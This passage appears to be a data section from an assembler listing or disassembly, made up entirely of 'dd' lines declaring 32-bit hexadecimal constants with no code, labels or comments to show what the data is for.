		dd 85F2A8h, 0EAA496A1h,	4C3A39CBh, 292B3Ah, 0FC9213FBh
		dd 30E2A49h, 0B7089B9Ah, 0A6C0988Fh, 9602CD76h,	79D74AD1h
		dd 0C3A4E21Eh, 25083CC7h, 17F0EB42h, 0B2077DE2h, 2BCD9A79h
		dd 0EF6947C0h, 0CC640054h, 0E2996A88h, 9F0EEB6Dh, 80745026h
		dd 47CA628Ah, 29F862CEh, 0B2168DCh, 13002CF9h, 198161E1h
		dd 111C94EFh, 0C541016Dh, 17744FC8h, 6446608h, 51694494h
		dd 30C9CB20h, 0E07913EBh, 9881432Ch, 0EEF1440h,	2F78CA2Dh
		dd 50D91E14h, 86C211Ah,	0A3941067h, 2E6F1B64h, 7802F529h
		dd 11F69B6h, 160C267h, 2413CCBFh, 0E6002970h, 0CAFA58ACh
		dd 77068FA7h, 0AFCB008Eh, 70D75E45h, 243CB913h,	7690003Fh
		dd 6C522F99h, 18E10F4Ah, 88204D3Bh, 8B81FF64h, 0D7FAD800h
		dd 0DE466374h, 0D5C2070Eh, 60496BE5h, 0D221E364h, 0AABC320Fh
		dd 0D01E01Ah, 3A53A3Dh,	0DCAEF986h, 0F680E0F5h,	90C0EFD7h
		dd 233D484Eh, 27B516ACh, 0E5140006h, 0EFC1A49Ah, 0E667ED00h
		dd 217E5972h, 788701C4h, 0E9346C97h, 6AEBF864h,	26309800h
		dd 9EAACDBFh, 17F609h, 3E36298Ah, 3596B1BBh, 16004AF2h
		dd 265C5610h, 2883202h,	49D2CA1Fh, 34430FECh, 0D47ADE0Eh
		dd 0BEC54023h, 137BF4h,	6B21AECEh, 0D65A200Ah, 0DB44F81Ch
		dd 0BEA4280h, 231FF4h, 9874B0C6h, 585E7F6Ch, 177AD000h
		dd 0C396F248h, 0BE5F070Ah, 0D0DB8465h, 0FDA84B04h, 0C8744304h
		dd 68802447h, 0A3C1C95Fh, 0BC3BC1D4h, 0B86000E3h, 0A3EF58B5h
		dd 0D50F7710h, 0A094B266h, 0E855963Eh, 176F18A5h, 0C7DD20EEh
		dd 40903D00h, 39B8A060h, 3534076Dh, 30508E76h, 16C711EAh
		dd 1F3F7307h, 0F01041BFh, 0C35AE2h, 12A5024Eh, 42D6B1E1h
		dd 49B5CA07h, 0F201D955h, 4FD8FC83h, 10740713h,	0D01801AEh
		dd 32CC7866h, 0A1FE2A01h, 6E99B230h, 7FEEB671h,	609DFBE1h
		dd 0E9142D96h, 0FE4033h, 7CE0AFC9h, 1F15491Dh, 0C02BBED0h
		dd 76173DEEh, 69006214h, 4BC822B2h, 5B189F58h, 0E7A85Fh
		dd 85E81C04h, 6B2A82h, 2BC18C44h, 7F234330h, 4B31B000h
		dd 9F371394h, 38670012h, 8872F085h, 7D0080C2h, 0FCA5E96Dh
		dd 0DB4D7Ah, 2D0C9E6Eh,	0A71F18Eh, 0F1C2700h, 47A4EED6h
		dd 0C33000DAh, 443354ACh, 0F007783Fh, 2D45EC69h, 1B0C808Eh
		dd 419C66h, 0B6707459h,	427C2EF6h, 8D788300h, 3B847DDEh
		dd 0F9A4185Dh, 1FC84C18h, 2BA2D400h, 24BC2152h,	0B91100E1h
		dd 0F6E95C91h, 0A8EE2CA7h, 2D0018EAh, 40CE1486h, 484E96CAh
		dd 3C02EEAFh, 0EF67D0CCh, 801DD087h, 291CC3B5h,	0C6ADB02Ch
		dd 0F058300h, 7E73730h,	3E6A7764h, 9956E0DDh, 0EA2E2C6Dh
		dd 0D070B4Eh, 0EC505D47h, 198A2CDh, 245607A8h, 0C18668C4h
		dd 54A6C0D6h, 0FD165000h, 4C06B483h, 0BDF1002Ah, 0A2D179C4h
		dd 151F74ECh, 21CF6EACh, 0DBCB602Eh, 1DE5D216h,	40927DFBh
		dd 433D769Dh, 410AC619h, 0E8F0986Eh, 9E057481h,	8B204ADEh
		dd 5EBE00D6h, 4016C919h, 9F726A0Ah, 2FE77F50h, 0A6111F00h
		dd 0D49EA7A5h, 999C00B6h, 7C6ED2C2h, 9B7D667Ah,	62354000h
		dd 0A5CBF788h, 0D20D002Eh, 9CF4FAE4h, 200B8D0h,	340F8E98h
		dd 592586Ch, 0DB37DF91h, 5BD3C093h, 0A4001A24h,	51763263h
		dd 9B2E7Ah, 4026BDF9h, 69E67EB3h, 5938C21Ch, 0F7C0A8DCh
		dd 0CD32F172h, 907A008Eh, 44B1A4ABh, 700E4385h,	0C09D7D06h
		dd 219AA9E9h, 17143DA3h, 9F890B80h, 0B14770E2h,	2767C600h
		dd 0AD8651A6h, 3AD80075h, 0D6159157h, 7A3C4946h, 611007EDh
		dd 0E84014DEh, 5FE2D1h,	0B66A2201h, 94520D2Fh, 7AD3C400h
		dd 42F0C016h, 0ECD39057h, 254B00D4h, 5F1DA7BFh,	0DB076EF7h
		dd 0EE1204BCh, 6A69DFB0h, 0C7CA38B0h, 387A812h,	5CB1B649h
		dd 0D2F150E0h, 9A38F0EDh, 0D156391Eh, 10AC574Ch, 0A03400D9h
		dd 0B0EEB591h, 0E50FDD99h, 40816731h, 0FACCB1E0h, 0F57394h
		dd 0FB29644Ah, 23AC7318h, 0CAAFB601h, 7F26975Bh, 3CEC9C20h
		dd 0B876C46h, 6FFFBBFEh, 0F80F5CAEh, 0AE3A38C0h, 8300E2DDh
		dd 4702ADE1h, 325698Ch,	24519D66h, 0F8C0CA7Fh, 281E23ECh
		dd 0DC801359h, 42F75EA9h, 4FA8001Ch, 4794218Ch,	76047B2Ch
		dd 6F9F3924h, 0C02F6780h, 0F98F01CFh, 0CAF570B6h, 2C56DC32h
		dd 0A4DC7A03h, 0E0169736h, 0B3D1C9h, 41B65291h,	84FD65DBh
		dd 5CC11D00h, 2E4754F6h, 735A00EEh, 0FC2176EAh,	0C006EE6h
		dd 4F88380Eh, 90AE2959h, 0FF8709C7h, 0A003EABBh, 8CD0D40Ch
		dd 70F1E8Dh, 0C08E9A0Dh, 0D9C57170h, 214A1DEDh,	0A85D40F0h
		dd 10E0ECF9h, 0D5F839h,	0BE7DFD6Bh, 0F1FC2C3h, 19B6CD85h
		dd 0C8F344h, 691D9BAAh,	0FFD6007Fh, 61B23FF0h, 0A200C6B8h
		dd 0A0A594E7h, 0D19E5Dh, 25EA9B08h, 0C507F94Ch,	55FBF200h
		dd 90A686AEh, 247A3CD1h, 3E00213Dh, 0FB56A703h,	230E358Bh
		dd 0E0046DA3h, 73F940B4h, 0FD2FA38h, 0DFC21D2Eh, 0AB1833E1h
		dd 0E416C036h, 0B10EC900h, 75FD288Dh, 0B2090097h, 0A90CE5B8h
		dd 0D7008833h, 8DE039C9h, 73953ECAh, 5667070Dh,	0A07317DDh
		dd 0FDAFD4A9h
		dd 3928E00h, 9CCEBF02h,	7984009Eh, 0C6AA6F97h, 9300D004h
		dd 41142DBEh, 0D6EF05h,	0CB5FA78Ch, 0EDFF98A0h,	751A0D0Fh
		dd 924D80CCh, 364B94h, 0F531ADF9h, 0DFDED590h, 0A9933Fh
		dd 1C28EE6Dh, 3AB1653h,	0B54C3969h, 85E8128Ch, 0F903879Ch
		dd 1C5E8E5Bh, 0F079AB43h, 327AD6h, 0A4DF349Fh, 3E0B5960h
		dd 1B0F9277h, 0AFE1B474h, 8D220323h, 469988EDh,	0DE8E000Ch
		dd 879D296Dh, 0E53DB2E4h, 0A90C759Eh, 68F660E2h, 0D45100AAh
		dd 8386F8CFh, 7403C7ACh, 12F3B6A1h, 0C833E0A8h,	756F00EDh
		dd 0E3305E7Bh, 5600923Dh, 17F15CB6h, 1C8D0h, 0AA53CD7Fh
		dd 198BEE46h, 7102A400h, 0C9AE344Bh, 3672C4h, 0B499237h
		dd 5794CBE7h, 0ED0AAAE2h, 0A8E262C6h, 100DC000h, 0E78D5D3h
		dd 0EBC789FBh, 0D72CB740h, 0BB2C888Eh, 920B9B9Ah, 0E9D40081h
		dd 3E6D52CCh, 380D057h,	187282C8h, 2800EA90h, 2E0977E7h
		dd 0A747E8h, 2B8C2CFDh,	72036C25h, 705B7C1Dh, 0D6007393h
		dd 0C7485452h, 0A91C0034h, 29131B15h, 8A005305h, 0DE9AB51Ah
		dd 36B2FFh, 0E8CF4C5Ah,	0C07D5677h, 994FA100h, 929C9337h
		dd 0D318C0EFh, 13264C6h, 97CBB624h, 0FD44E000h,	5D33A7h
		dd 85FE4FFAh, 0BC498E9Dh, 9BA07303h, 0F8902F03h, 7B16F62Bh
		dd 675FF8B1h, 20D3B2D1h, 0D0A0300Ch, 3516E87Fh,	0A3032AC6h
		dd 0E1FEE914h, 57F417A7h, 0B1E400A3h, 0A8821B03h, 0B3006FBFh
		dd 0FEB5EF6Dh, 5B563Ah,	128E8BA6h, 0D33D3957h, 0E5496C00h
		dd 97FB6042h, 0E2451F40h, 70AEB7h, 2073D922h, 11001E02h
		dd 715A0BF9h, 38BC8FF2h, 0AB80A9C8h, 88DC509Ah,	0D000B293h
		dd 0DDFD7CD9h, 781ED197h, 0D5062C68h, 0B29C00A7h, 3CCB8B78h
		dd 5493C31Dh, 0B628C198h, 7DBB031h, 0EAAA4ACAh,	0CF90F29Dh
		dd 86336460h, 0C5100F00h, 4A58A356h, 4300067h, 7CEA4593h
		dd 5201B411h, 0E8DDA80Eh, 0C0CFD35Ch, 74D5B6BDh, 22FF00ACh
		dd 0D649969Dh, 841DB325h, 768099A5h, 40AF0D8Ch,	7DE203C2h
		dd 6C36340Eh, 0A4991EA8h, 0AC00C4F0h, 218F19BFh, 1CCD0B9Eh
		dd 0C0338226h, 943BF14Ch, 8700CF74h, 4953C066h,	5AA590h
		dd 0BF012A17h, 747CE40h, 0A98B9E00h, 0F12BDFFBh, 0AD8400A0h
		dd 66A32CAFh, 0A79810DBh, 0C718A200h, 78286E9Ch, 0B44B0023h
		dd 337CECCDh, 0FB008CD3h, 3A976477h, 19369D1h, 96814DDCh
		dd 70953170h, 1B0E1CE5h, 254EC7h, 2CDE9D4Ch, 7EFA002Fh
		dd 5FEC590Fh, 44004334h, 9F2A4D64h, 0D88920h, 0A97C2D29h
		dd 1757D111h, 0DC920300h, 827FB84Ch, 0D9FA00F3h, 0A11DAAFFh
		dd 0B518A7CFh, 0E6286CC5h, 0BB410065h, 0EEE04EC1h, 0B0FAD21Fh
		dd 0C21C2E00h, 688A873Eh, 0B9DA0018h, 0FF6D619h, 0EB03FD53h
		dd 17352ABFh, 9801F894h, 0C325001Fh, 95CBC205h,	483B34FAh
		dd 9B4007A7h, 979003FFh, 0F4961B63h, 0D9E800F7h, 7AD43060h
		dd 0A7007739h, 6771A26Fh, 695184h, 0B0D62110h, 7FDB89C9h
		dd 7CC8EE01h, 725A2A4Fh, 0B678C0C6h, 8C1100A7h,	9220E744h
		dd 0B3006801h, 0EC906217h, 758ABFh, 3AF285C4h, 0F1535886h
		dd 0AF260700h, 0A79E1B3Dh, 0E7D93B66h, 83699180h, 12D490F2h
		dd 782FBE00h, 0D99394E9h, 0FCEB7B4Ch, 3990076h,	8013BD7Fh
		dd 0DE013A8Fh, 5B68C474h, 29D4B212h, 2E3F005Ah,	2CD2CEB5h
		dd 0A0326B7h, 0C6DE75DAh, 0E602C822h, 0CBC33853h, 3C0C761Fh
		dd 0C0995000h, 6369F06Ch, 4871AB0Fh, 5B92A71Dh,	0BB84B0D0h
		dd 0DFE93844h, 0F2624A00h, 0F378C819h, 9BD9160Fh, 1411A16Bh
		dd 96E08627h, 0F6741B90h, 25E921B3h, 0FEAD60E7h, 6307C407h
		dd 0E04E5841h, 923D1C7h, 702900F0h, 0A2C35FD7h,	0E40033D4h
		dd 9A78E5A4h, 1F4EDFh, 0D872BDF8h, 0ED6D555h, 89A71024h
		dd 0BC7C0Fh, 0BBE95262h, 0C88033Ch, 0DAFB0F6Ah,	5DF78C07h
		dd 2A0019BCh, 7423423h,	97F47E3h, 20390003h, 9FE0F09Ch
		dd 0DD4F0600h, 0E71C12E1h, 45E4005Fh, 0A7813209h, 8F3D82FFh
		dd 673D2Ah, 797B4833h, 39D4956Ch, 0A480E576h, 0A0E285A2h
		dd 0FA0A0201h, 0CD1C6DB7h, 0DD3D3Ah, 0EE834F92h, 1607ED9h
		dd 729CB56Eh, 309D2523h, 861E8A2Ah, 3700BC46h, 14380467h
		dd 475C001Eh, 0EACE8B94h, 430FE2B9h, 0C0817306h, 8F4A039Dh
		dd 4D7506D6h, 50A57121h, 99F91007h, 3E30E5F5h, 0FEFEA71Fh
		dd 0AE0D01E8h, 571C5D91h, 6F8407Dh, 8F00F176h, 81DC706Dh
		dd 1CACDFADh, 3C02FBh, 8C46E4C3h, 5103F12Fh, 1348AA4Bh
		dd 1EA6D07Bh, 6F4318D8h, 30983805h, 2FF86700h, 82EECB33h
		dd 105900A4h, 7FE2CA3Ah, 1600B46Fh, 0FD90D9Bh, 0FC5C30F0h
		dd 0D36A03EDh, 7F7D6B21h, 0EB75BDC8h, 0B4A998C0h, 93460Ch
		dd 0A771082Dh, 527C9BECh, 3955EE00h, 233EC51Ah,	0A0A312E2h
		dd 99C400A8h, 0D887E05Dh, 7A002C7Eh, 18AD62ABh,	2491C6ACh
		dd 0FD097CEh, 0B42E22B0h, 3C8863Fh, 903DC098h, 31FF981Dh
		dd 1708AA22h, 0E06F0B0Eh, 653FC275h, 0A7E200D1h, 38AFEEC5h
		dd 0BAA4A343h, 736E2081h, 2E06F448h, 2782CE93h,	0F3443858h
		dd 0E4D0B500h, 0BAC078C2h, 0AFCA3400h, 1D758E5h, 1C173CE3h
		dd 28214887h, 0F2A590DEh, 6D00C27Eh, 95C33811h,	0C0406Ch
		dd 0A467846Fh, 0F42B0AD6h, 8777ED00h, 83DE7A7Dh, 6571DFh
		dd 4F9A0DD0h, 502F23Dh,	0A0095A30h, 4CC5C9ADh, 912444FFh
		dd 5C4701C8h, 0FC36436Eh, 0E40163EAh, 8B122C4Ah, 2881A63Dh
		dd 0F8BA5865h, 0D1D8205Fh, 18FDFC31h, 1530B6A9h, 6C9AEBh
		dd 39B1DAF2h, 54615FC8h, 20AEF400h, 0DC0AD811h,	8B3F2C2Ah
		dd 0CEF2000Bh, 0F81CA527h, 5D51F303h, 0E8384C45h, 0A9720BEh
		dd 607A8D79h, 0BDD5009Ch, 2E143F5Fh, 0B68A770Ch, 7FA1806h
		dd 0D49F0D05h, 0BF9710DFh, 0AA0035A0h, 17DE3B26h, 86F650h
		dd 0EDEB5333h, 0C031D60Dh, 0AF9CA500h, 0FED91420h, 2C5B3E61h
		dd 1934CC80h, 717E4C5Eh, 0A1E8F65Eh, 0B8645800h, 3B40FB1Ah
		dd 0A9CC3201h, 4C802477h, 12A7F440h, 0E58500F2h, 43A804BDh
		dd 84007583h, 53C95EE3h, 0D63439h, 0C6764A74h, 889D1813h
		dd 30BCE9EDh, 0E400D2D8h, 0DD17CD91h, 3720B37h,	935AEF24h
		dd 2800FE66h, 0D1082757h, 0F62615Eh, 823902B3h,	3AACFBA0h
		dd 0D000ADE0h, 450F701h, 0FE7A03D9h, 508A608Dh,	237D2A46h
		dd 0C038AD00h, 9CE11994h, 0FC1516A8h, 6F120Bh, 3C1DDE10h
		dd 5007ED3Dh, 0F2F110ADh, 8C96CC50h, 6D090040h,	76B4E0D1h
		dd 0A0006EEFh, 48E1C792h, 1D4A77D8h, 800B261Bh,	2A602DE5h
		dd 1200AE55h, 0A6E424DBh, 243C65Dh, 96E76EDAh, 0C0D7FBE0h
		dd 79DF7A5h, 56ACEC6Dh,	0EB24E052h, 6E12A180h, 2300CA7Fh
		dd 9B3D9558h, 0DBDA00F3h, 0DA861AFh, 4D016352h,	0ABB4D7C3h
		dd 8CC1C4BAh, 0F03DE5D4h, 70A900A7h, 214EBE27h,	5A715CA8h
		dd 1FCC5D3Bh, 354FAF4Dh, 0C7CBE014h, 0DA0C6Eh, 593B5F84h
		dd 0F539813Eh, 44746A00h, 4CFF6DDDh, 0A9C5002Bh, 0D0CF9CF7h
		dd 50F6E229h, 0A19F371Eh, 0B7AEFCC0h, 1BEE4h, 877A2F16h
		dd 1BD23C3Dh, 2675B000h, 0E3C8D7FBh, 8F303837h,	9B925A00h
		dd 927EE55h, 4100DEE6h,	377BF075h, 2C38398Fh, 1244065h
		dd 577CEF7h, 1599C081h,	98258400h, 3D63F595h, 5AA500E7h
		dd 0DBFDC6F0h, 0BA7421A3h, 0C07D5426h, 3803E681h, 9C30B7D3h
		dd 0B0B60522h, 92C995h,	7814ACF8h, 733E9B0Fh, 0A96602F4h
		dd 60B7B82Eh, 24E668C3h
		dd 0BDD6B4h, 77A09B46h,	0C7EC0596h, 20FAD926h, 3A9F009h
		dd 933C38h, 36865F70h, 2F2862ADh, 13A6EA1Eh, 4A972280h
		dd 1B5CE6Dh, 291415DEh,	0D4834E77h, 0C004618h, 73236425h
		dd 1CACD724h, 817A5FA9h, 0AB56B4F4h, 0F91180E3h, 55CC30B2h
		dd 0DD970954h, 9880EA15h, 99BC1D28h, 0E6321F00h, 4B6BF6FCh
		dd 20BD00C8h, 7C87D881h, 34241A82h, 33009184h, 4C73E480h
		dd 46B000A5h, 53D74319h, 0A91EF544h, 52C0C520h,	0B1CD6849h
		dd 3D010024h, 0B8E1D95Ah, 8D00EA41h, 0B9313607h, 77EB54A5h
		dd 4BD6072Fh, 0C09BDE02h, 0EE860A66h, 0C6CBB000h, 65E25AEh
		dd 59F70074h, 34E091BBh, 0CE0E1688h, 271F4FA7h,	24C0FBD7h
		dd 52C28Ch, 397E96AAh, 33B9E77h, 2589B000h, 8DB5B419h
		dd 965D0068h, 0ACDCBEEDh, 0B203353Eh, 0C4F6C79Ch, 8966B09Dh
		dd 0FE150093h, 0AB7412F3h, 3400047Eh, 95BCBBFCh, 0FA35E4h
		dd 0CD6D9B1Ah, 5AE82D14h, 6205E300h, 818870Ch, 0E175BDh
		dd 4959240Dh, 717BFF0Fh, 0D47FD20Eh, 44A9A020h,	9D0DB2h
		dd 32EB07B6h, 66BB1730h, 0BED93Ch, 0FE21BC97h, 1D862413h
		dd 0C05E78CEh, 4D08F32Ch, 8900097Eh, 0F548AD8Fh, 7613C030h
		dd 0CCDB12EBh, 8A460312h, 5FD0EF28h, 9803EC38h,	0FDDCEA40h
		dd 0E529C0BFh, 25A100A9h, 96E0B5C2h, 1A756A92h,	0B315D00h
		dd 20FB703Bh, 8AFE00CDh, 0F8B19405h, 8200553Ch,	0B4C6694Dh
		dd 0C9D4BBh, 0A63AA758h, 4F32F5DAh, 2E510F00h, 0CB5AF9FBh
		dd 5B250059h, 39F8BB2Ah, 0DE00FF1Eh, 74885437h,	0C6BBEA6h
		dd 0EDAC0E8Fh, 73004640h, 7E66DC3Ch, 7C05BD0h, 2CBF6867h
		dd 161B5027h, 8100B960h, 7BAA8306h, 0FB7211h, 86EE650Fh
		dd 704E76ADh, 0E46F6901h, 0FC162723h, 6391BE80h, 12446C26h
		dd 569BBC01h, 31426DF7h, 1E9D54F0h, 808527A7h, 0CD5E3A62h
		dd 950AE8CCh, 0FB38ED14h, 36FFD100h, 0F5BDFC1h,	7A9A81AEh
		dd 415937C0h, 537D2EB8h, 0E3A87E50h, 467F98E6h,	0E76D9700h
		dd 0EE64A55h, 0D6E3CA0h, 14EFA680h, 1FBE0899h, 7000FFFAh
		dd 0C4D046B1h, 7E37A3Ch, 54E57C9Eh, 4E65700Dh, 9D07220Fh
		dd 79F6EA81h, 5D2A3080h, 8BE432h, 0B398C2AEh, 40583EE4h
		dd 0E8E6B500h, 0C7E0AA73h, 0FA6C00E2h, 9EED16FDh, 210EFCCBh
		dd 0C73384E3h, 80E9B927h, 0F1715768h, 0ADC2030Eh, 2032650Bh
		dd 4C4F4F8h, 640DA300h,	0B6A26115h, 4C7B1403h, 0CC1DEEC8h
		dd 0F6C3C102h, 0DC12873Fh, 8B009CF4h, 17FA5F49h, 1BDA35h
		dd 19652FF1h, 5CFDDDEDh, 0FF079E7Ah, 3308C287h,	0E0D24C83h
		dd 0E9F66Bh, 54EC7C3Eh,	0DEBB4F53h, 6259FF00h, 0E4AD5758h
		dd 0CC7926A4h, 54600320h, 0D800E60Eh, 4270FE14h, 21E30A2h
		dd 0A9C298E3h, 8C408F08h, 0BA166407h, 4A006FD5h, 2CC09615h
		dd 0B753Fh, 186B2552h, 0B8FD70D8h, 8B400A00h, 69421444h
		dd 0B2AC0050h, 77EA08D3h, 180043FFh, 91540672h,	0E4A8DCh
		dd 34CE417Ah, 57D9E623h, 4A53E000h, 0F581D177h,	39C74C1h
		dd 0E58F51DCh, 40A8D047h, 13005772h, 0E21285A7h, 17A62E87h
		dd 0B00FCF3Bh, 9C3B531Bh, 632D9E36h, 40007152h,	9BF546F8h
		dd 7E7624BFh, 40E4003Ch, 0F92D3A5Ah, 0FA011F00h, 289F05EFh
		dd 0E6E17F6Ah, 0AC880558h, 80212D57h, 604FA614h, 3300CDEEh
		dd 9ED65666h, 0DF7E08h,	54D41F98h, 1347E180h, 6E2C78FEh
		dd 1809D237h, 0B01480C5h, 1C2153A7h, 0F88F36h, 96C12EC3h
		dd 0C70BFBFAh, 5C2526B4h, 0A7E001C7h, 0E2CA12ADh, 0E5AFF880h
		dd 0F0A8E86Eh, 0D700DE30h, 0F502D9CEh, 9A4066h,	0DC0F4C8h
		dd 9FF17B1Eh, 0F000D078h, 37CB6E2Ah, 746D3003h,	0DD63005Ch
		dd 0C1053AFEh, 94041BF5h, 59B39513h, 0BBB30C0h,	0A7D244Dh
		dd 0F13C8734h, 75E24016h, 0C1007C5Ch, 55D77BB0h, 9EC4CB5h
		dd 307F42C5h, 8A865C00h, 0B81F14E0h, 8140B3A7h,	0C7BEB643h
		dd 1A1F0F6Bh, 7E80F6C4h, 0F7F45033h, 6857AA00h,	0EB2A428Ah
		dd 23575EDh, 501E2077h,	4C48A433h, 0BAF4C7A0h, 7F9E3Ch
		dd 0FF7D18F0h, 13A5ECFh, 0EA881BC0h, 5083F6B4h,	42DAE184h
		dd 0AC983071h, 3CC2C53Ch, 308BB2Dh, 97F2DD48h, 7A9EA05Eh
		dd 0EFFE0649h, 0F0179D2Ch, 92252002h, 0C03E4C31h, 0F9B9F4h
		dd 5374516Fh, 0D68F62BBh, 4D980DFAh, 8300BE76h,	0D71B012Bh
		dd 0F3198Bh, 7668FF81h,	9E9DDC1Eh, 566B9600h, 0F9CEC26Ch
		dd 238900CBh, 3DF7A762h, 2F65E1Bh, 0EA0CD01Fh, 8045DE8Eh
		dd 635C3A78h, 594A01A2h, 978CE056h, 7BD1CCB3h, 0BA9AA800h
		dd 17F809F7h, 0FC2B013Fh, 0CF5C8F19h, 0AC488F1Fh, 0AE164003h
		dd 5CE87DB2h, 987BB864h, 5B58009Fh, 3A1422D2h, 151F2345h
		dd 2D805357h, 0BA7F9CCBh, 0B4770BDAh, 0FA8033AEh, 0A11DFC9h
		dd 0EFC1F900h, 303C7671h, 7790016h, 35FF5B4h, 0FC9049CFh
		dd 1B009871h, 880EFBE6h, 0FBB1812h, 0B4F83202h,	64358063h
		dd 0E5015FF8h, 69129F03h, 0B96A83B8h, 0FD20425Ah, 8EED003Ch
		dd 0D1714346h, 37004D67h, 0A213CED6h, 3FCA79h, 0EB8345AEh
		dd 55A12ABDh, 1F630900h, 0FCED8944h, 60E70F08h,	88E03BEFh
		dd 13339BDAh, 0E020CC01h, 0A0E65221h, 0F2B9E8h,	87697F7Ch
		dd 4CFB373Fh, 3892161Ch, 6019F9Fh, 953D8041h, 86A860h
		dd 0D5C143ACh, 0AE353938h, 14099671h, 809D87E8h, 78FEFBC9h
		dd 62FC004Fh, 8534AAC7h, 2303FF69h, 7B951201h, 0C356891Bh
		dd 0E92DD4h, 2F114E77h,	0DD328BFDh, 0D67F2500h,	65715141h
		dd 79CD00E7h, 0A7BB9297h, 0B3007468h, 0E4298807h, 0EE212290h
		dd 1229830h, 8025D399h,	40054C38h, 2EB529C2h, 522BFD1Eh
		dd 0B2C746DEh, 0F980F7F3h, 0F8B4A5h, 1EF54CB9h,	95CE1C8Ch
		dd 963A6800h, 7386D4CCh, 654B031Fh, 1469BE8Dh, 3A504Ch
		dd 9F9AD02Bh, 38C26h, 0A889799Dh, 0F50CBE02h, 777B6D00h
		dd 81805F1Ah, 135D0197h, 256CA3E6h, 0FF4BD424h,	72DD4C00h
		dd 9557A444h, 2EC7D46h,	474A92CEh, 75E01BADh, 0C809D42Dh
		dd 725E1Dh, 0FBC9F798h,	0F070051h, 696EB2D1h, 61048552h
		dd 236A8F6h, 15557EC0h,	60E9001Ah, 89FD8806h, 0A1006DE6h
		dd 12CABD75h, 0B2DFEEh,	0ABCD5BE7h, 3E5637Fh, 0BD77870Fh
		dd 6C292006h, 1A7A83Ch,	81A27ED6h, 0D8AD2E12h, 570377C1h
		dd 61E5737Dh, 7CAB2Dh, 306B5A21h, 0CC6D6F3Fh, 0BA2FD218h
		dd 0F5518h, 82F22B96h, 543B7DAh, 0A8ED6A00h, 89C3186Eh
		dd 0A3B80429h, 8716DF0Bh, 3F4E73BCh, 314B62D8h,	4A93E300h
		dd 0CBA04DBh, 56A61DA7h, 0CF7F4068h, 7B3C13ACh,	1687C10Fh
		dd 455A30Bh, 7A008FC9h,	1C0CF179h, 0C0D8DCDDh, 0F829D333h
		dd 0FDF3C79Bh, 9DF9E3ADh, 0FE17CCE4h, 8C08ED05h, 7C0303Dh
		dd 0ACEDE86h, 437A2436h, 8E4400D8h, 0E0C7F132h,	0B4F3B628h
		dd 0BA749409h, 2658002Bh, 2D7D20Ah, 0DE9FBA2h, 0F840AE29h
		dd 0F307C583h, 30E614D3h, 0F14A87F0h, 737F3B41h, 59386481h
		dd 80E1DCE0h, 0CFCCEA90h, 7087D430h, 0E7D02B35h, 0C3C90050h
		dd 837A1966h, 13561500h, 1DAB63F1h, 24B81C9Bh, 94C90067h
		dd 53DFCE68h, 0B7007898h, 0BEADBA70h, 120792h, 8D64E0D1h
		dd 50036FEFh, 0D9B82505h, 48C3FD49h, 5C0B8099h,	76403A0Dh
		dd 0DC07A080h, 321ED1AFh, 5E2F8000h, 0A5D416AAh, 37FEFAh
		dd 0B2D24412h, 26AF35C8h, 0AC3D8E75h, 0B1C7807Ch, 0D49AFE06h
		dd 7E5D1303h, 0A6C840F9h
		dd 0C7AD2404h, 4C569B00h, 0F2BDA994h, 3A6C0C64h, 0D58013A1h
		dd 2141B51Eh, 602D3E40h, 437A370h, 0A9A7DE2Eh, 5E9180F8h
		dd 6C007D4Fh, 0F3188009h, 309366D6h, 0D3686A4Dh, 7CA0B8CDh
		dd 0B52C8F8Bh, 0B1009CA3h, 52A4D2CAh, 2CD558F6h, 0AC8A4E03h
		dd 13E08CE1h, 23078F5Eh, 97148099h, 7EA2D5B0h, 117000EEh
		dd 0AAB536CBh, 0BA003581h, 0FC213290h, 12BE5E1h, 73D9E4C9h
		dd 20DF17C1h, 0B004698h, 0C26F9B4Bh, 8F8572h, 48084998h
		dd 637A02EBh, 14FE8EE4h, 5A7ADE7Ch, 8CD7B80Fh, 0B9A260FEh
		dd 9C163Bh, 0E1F9FF37h,	0A92C0E21h, 19003478h, 9EF7AA08h
		dd 1EB8C453h, 0C093380Ch, 0C11AF9F4h, 7E39184Ah, 34A407EAh
		dd 261E086h, 97CC8385h,	40AA00D4h, 0E20852C9h, 88F8CE3Ah
		dd 74468600h, 0D902B055h, 0B5110235h, 0D0C32EB4h, 0CDFDAFC0h
		dd 7E904CE0h, 2D6F6100h, 0E3B19633h, 0F19E0067h, 239FA9EAh
		dd 32007EDEh, 0D7562473h, 797E8AEh, 262EC2EDh, 0DEA74E57h
		dd 0B2608FC4h, 40FFAA69h, 86BC2D00h, 823425DFh,	2F171EDh
		dd 92F506CEh, 37C0EA15h, 0DF059078h, 3D61E724h,	0F6D8D580h
		dd 0F3EE0713h, 0A0CDB468h, 0BC3EE832h, 8E72653Eh, 33BF4C57h
		dd 0C36DF803h, 539A012h, 0E83100C7h, 6E8A7AF5h,	0F200C5F0h
		dd 8EEBD794h, 0FA0B4582h, 4F470003h, 0B7DDA252h, 0E700A792h
		dd 0DB42F316h, 5493CBh,	3DF9978Fh, 117EF079h, 7020FB00h
		dd 2AC14F14h, 8C4B0006h, 8902D6C2h, 99007F17h, 11F74AA7h
		dd 0A0092E38h, 0EECFDCh, 0CEEB40F9h, 0E31FDBB7h, 74FDC0C0h
		dd 0DF248Dh, 4453EE1Ah,	0AEED49A8h, 0EA39A600h,	0B05584Dh
		dd 4188C0D9h, 0E037F31Ch, 5E169400h, 33DF924Bh,	49DB2EF1h
		dd 0C4C1018Ch, 302975E8h, 0CA0074E0h, 1C88F5A5h, 0F21A89E9h
		dd 7CEA0290h, 1E5F6926h, 0DB8EFC80h, 9400F943h,	50364F8Bh
		dd 750F7Eh, 0AB853331h,	0BB3DBFD7h, 0F8EDF407h,	38E07AECh
		dd 0B2AC88h, 0F95A4F65h, 0A318E72Bh, 9263480Eh,	4047604Eh
		dd 0B9B313h, 602C8AAAh,	106F1C69h, 25F9F200h, 0BD33EEF4h
		dd 0A6A100A9h, 0C3C2969Bh, 0EF003DFBh, 7E1C3FB8h, 26A88E4Dh
		dd 1100280h, 7BA1E2C8h,	984CC407h, 62554200h, 0FAC07017h
		dd 145D2732h, 0E400A054h, 0E761E15h, 630002Ah, 4369F3BDh
		dd 7800B91Ah, 0F8396E5Fh, 7C72A7h, 790F0BEDh, 7BEE4202h
		dd 83679D00h, 85DC051Fh, 0F875A0h, 1459BC9h, 840FBD94h
		dd 0B5F38h, 0F3144F6Bh,	0EB626Dh, 2798A2E6h, 0EE4EA0C6h
		dd 0E9645D00h, 907608BAh, 1CBBEAF0h, 0C730E3CDh, 308F4D4Ah
		dd 0D3A2FF0Dh, 54AAB400h, 2D8917DEh, 0C44F00E6h, 0B6E41EAh
